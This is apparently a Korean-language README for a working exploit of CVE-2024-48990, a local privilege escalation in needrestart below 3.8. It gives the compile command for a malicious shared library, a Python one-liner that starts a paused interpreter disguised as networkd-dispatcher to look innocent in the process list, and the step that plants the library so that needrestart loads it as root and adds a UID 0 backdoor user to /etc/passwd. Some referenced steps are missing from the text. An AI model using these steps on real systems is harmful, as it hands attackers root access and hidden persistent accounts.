
CVE-2024-48990용 익스플로잇 (needrestart < 3.8의 로컬 권한 상승)
Exploit for CVE-2024-48990 (Local Privilege Escalation in needrestart < 3.8)
참고: https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys가 이를 훌륭하게 설명해 줍니다.
TLDR;
needrestart 3.8 미만이 설치된 시스템에서 로컬 사용자는 사용자 상호작용 없이 임의 코드를 실행하고 루트로 권한을 상승시킬 수 있습니다.

현재 작성된 익스플로잇은 sed 명령을 사용하여 /etc/passwd 파일을 편집함으로써 UID/GID가 0(root)인 "_daemon"이라는 새 사용자를 시스템에 추가합니다. 비밀번호는 사용자 이름과 동일합니다. 단일 명령을 실행하는 공유 라이브러리일 뿐이므로 이걸 익스플로잇이라고 부를 수 있을지조차 확실하지 않습니다.
직접 익스플로잇을 컴파일하려면 아래를 실행하세요:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
오래 실행되는 Python 스크립트라면 무엇이든 실행할 수 있습니다. 하지만 프로세스 목록에서 덜 수상해 보이도록 하려면 다음 원라이너를 사용하여 시작되자마자 일시 중지되는 Python 인터프리터를 시작할 수 있습니다(그래서 실제로 아무것도 실행하지 않습니다).
ARGV에 대해 다음을 확인하세요:
그 외에는 ARGV를 원하는 대로 자유롭게 바꿔도 됩니다. 어쩌면 일반 시스템 프로세스처럼 보이게 만들 수도 있을까요?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
importlib 디렉터리 안에 있어야 하며 이름이 "init.so"여야 합니다.
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
다음에 needrestart가 실행될 때(예: apt를 사용한 업데이트 또는 무인 업그레이드가 시작할 때), needrestart는 우리 프로세스의 PYTHONPATH 변수로 Python을 실행하고 init.so 파일을 로드하여 우리 명령을 실행합니다. 그러면 _damon:_daemon 자격 증명으로 로그인할 수 있게 됩니다.
needrestart는 완전히 멍청하지 않으며 프로세스를 스캔할 때와 코드에서 취약한 부분에 진입하기 전에 몇 가지를 확인합니다.